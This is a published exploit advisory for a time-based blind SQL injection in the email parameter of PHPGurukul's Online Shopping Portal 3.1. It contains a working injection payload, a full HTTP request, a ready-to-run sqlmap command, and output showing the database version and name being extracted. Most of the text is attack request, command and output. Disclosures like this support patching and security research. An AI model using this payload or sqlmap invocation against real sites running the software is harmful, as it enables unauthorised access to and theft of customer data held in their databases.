Online Shopping Portal 3.1 SQL Injection Vulnerability

# Exploit Title: Online Shopping Portal - time-based blind SQL Injection
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/shopping-portal-free-download/
# Version: 3.1
# Tested on: Windows 10, XAMPP


################
# Description  #
################

# The email parameter is vulnerable to time-based SQL injection on the /check_availability.php endpoint that serves as a checker whether a new user's email is already exist within the database or not. Based on the payload used on 'email' parameter which is "[email protected]'XOR(if(now()=sysdate(),sleep(5),0))XOR'fsx", the server response is about 5 seconds delay which mean it is vulnerable to MySQL Blind (Time Based). An attacker can use sqlmap to further the exploitation for extracting sensitive information from the database.


#####################
# PoC of detection  #
#####################


Request:
========

POST /shopping/check_availability.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 65
Origin: http://localhost
DNT: 1
Connection: close
Referer: http://localhost/shopping/login.php
Cookie: PHPSESSID=94hqeuk00aj25glgtju4105n06
Sec-GPC: 1

[email protected]'XOR(if(now()=sysdate(),sleep(5),0))XOR'fsx



Response: duration = 340 bytes | 5,005 millis
========

HTTP/1.1 200 OK
Date: Fri, 09 Jul 2021 14:15:14 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2h PHP/5.6.24
X-Powered-By: PHP/5.6.24
Content-Length: 121
Connection: close
Content-Type: text/html; charset=UTF-8

<span style='color:green'> Email available for Registration .</span><script>$('#submit').prop('disabled',false);</script>



########################
# PoC of exploitation  #
########################

# Run sqlmap to extract current database name:

$ sqlmap -u "http://localhost/shopping/check_availability.php" --data="[email protected]" --cookie="PHPSESSID=94hqeuk00aj25glgtju4105n06" --timeout=30 -p "email" --level=3 --risk=1 --threads=10 --time-sec=5 -b --current-db --batch --answers="crack=N,dict=N,continue=Y,quit=N" --technique=T 


###########
# Output  #
###########

---
Parameter: email (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: [email protected]' AND (SELECT 4922 FROM (SELECT(SLEEP(5)))SAxU)-- ILJB
---

[INFO] the back-end DBMS is MySQL
[INFO] fetching banner
multi-threading is considered unsafe in time-based data retrieval. Are you sure of your choice (breaking warranty) [y/N] N
[INFO] retrieved: 
[WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions 
10.1.19-MariaDB
web server operating system: Windows
web application technology: PHP 5.6.24, Apache 2.4.23
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
banner: '10.1.19-MariaDB'
[INFO] fetching current database
[INFO] retrieved: shopping
current database: 'shopping'